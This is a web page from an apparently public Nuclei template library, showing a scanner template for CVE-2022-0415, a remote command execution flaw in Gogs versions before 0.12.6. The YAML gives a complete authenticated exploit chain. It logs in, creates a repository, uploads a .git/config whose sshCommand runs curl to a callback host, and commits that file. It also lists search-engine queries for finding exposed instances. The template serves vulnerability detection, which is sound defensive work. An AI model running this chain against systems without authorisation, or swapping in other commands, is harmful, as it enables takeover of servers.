Skip to content
Nuclei Templates

Gogs <0.12.6 - Remote Command Execution

ID: CVE-2022-0415

Severity: high

Author: theamanrawat

Tags: cve,cve2022,rce,gogs,authenticated,huntr,intrusive

Description

Section titled “Description”

Gogs before 0.12.6 is susceptible to remote command execution via the uploading repository file in GitHub repository gogs/gogs. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

YAML Source

Section titled “YAML Source”
id: CVE-2022-0415


info:
  name: Gogs <0.12.6 - Remote Command Execution
  author: theamanrawat
  severity: high
  description: |
    Gogs before 0.12.6 is susceptible to remote command execution via the uploading repository file in GitHub repository gogs/gogs. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.
  remediation: Fixed in version 0.12.6.
  reference:
    - https://github.com/gogs/gogs/commit/0fef3c9082269e9a4e817274942a5d7c50617284
    - https://huntr.dev/bounties/b4928cfe-4110-462f-a180-6d5673797902
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0415
    - https://github.com/bfengj/CTF
    - https://github.com/cokeBeer/go-cves
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-0415
    cwe-id: CWE-434,CWE-20
    epss-score: 0.11758
    epss-percentile: 0.95304
    cpe: cpe:2.3:a:gogs:gogs:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 6
    vendor: gogs
    product: gogs
    shodan-query:
      - cpe:"cpe:2.3:a:gogs:gogs"
      - http.title:"sign in - gogs"
    fofa-query: title="sign in - gogs"
    google-query: intitle:"sign in - gogs"
  tags: cve,cve2022,rce,gogs,authenticated,huntr,intrusive


http:
  - raw:
      - |
        GET /user/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /user/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        _csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}
      - |
        GET /repo/create HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /repo/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        _csrf={{auth_csrf}}&user_id=1&repo_name={{randstr}}&description=test&gitignores=&license=&readme=Default&auto_init=on
      - |
        POST /{{username}}/{{randstr}}/upload-file HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        X-Requested-With: XMLHttpRequest
        X-Csrf-Token: {{auth_csrf}}
        Content-Type: multipart/form-data; boundary=---------------------------313811965223810628771946318395


        -----------------------------313811965223810628771946318395
        Content-Disposition: form-data; name="file"; filename="config"
        Content-Type: application/octet-stream


        [core]
            repositoryformatversion = 0
            filemode = true
            bare = false
            logallrefupdates = true
            ignorecase = true
            precomposeunicode = true
            sshCommand = curl http://{{interactsh-url}} -I
        [remote "origin"]
            url = [email protected]:torvalds/linux.git
            fetch = +refs/heads/*:refs/remotes/origin/*
        [branch "master"]
            remote = origin
            merge = refs/heads/master
        -----------------------------313811965223810628771946318395--
      - |
        POST /{{username}}/{{randstr}}/_upload/master/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        _csrf={{auth_csrf}}&tree_path=/.git/&files={{uuid}}&commit_summary=&commit_message=&commit_choice=direct&new_branch_name=


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns
          - http


      - type: word
        part: body_1
        words:
          - content="Gogs


    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - name="_csrf" value="(.*)"
        internal: true


      - type: regex
        name: auth_csrf
        group: 1
        regex:
          - name="_csrf" content="(.*)"
        internal: true


      - type: regex
        name: uuid
        group: 1
        regex:
          - ' "uuid": "(.*)"'
        internal: true
# digest: 4a0a00473045022100fa405c5aaf0c4f601e7f2d89b6aaddeaf4fca3ea390575658a0318d2d60251b1022013161482f6240428ec9081252acc7ac7ef80aa996befd88d3e0cd7542d0140e2:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0415.yaml"

View on Github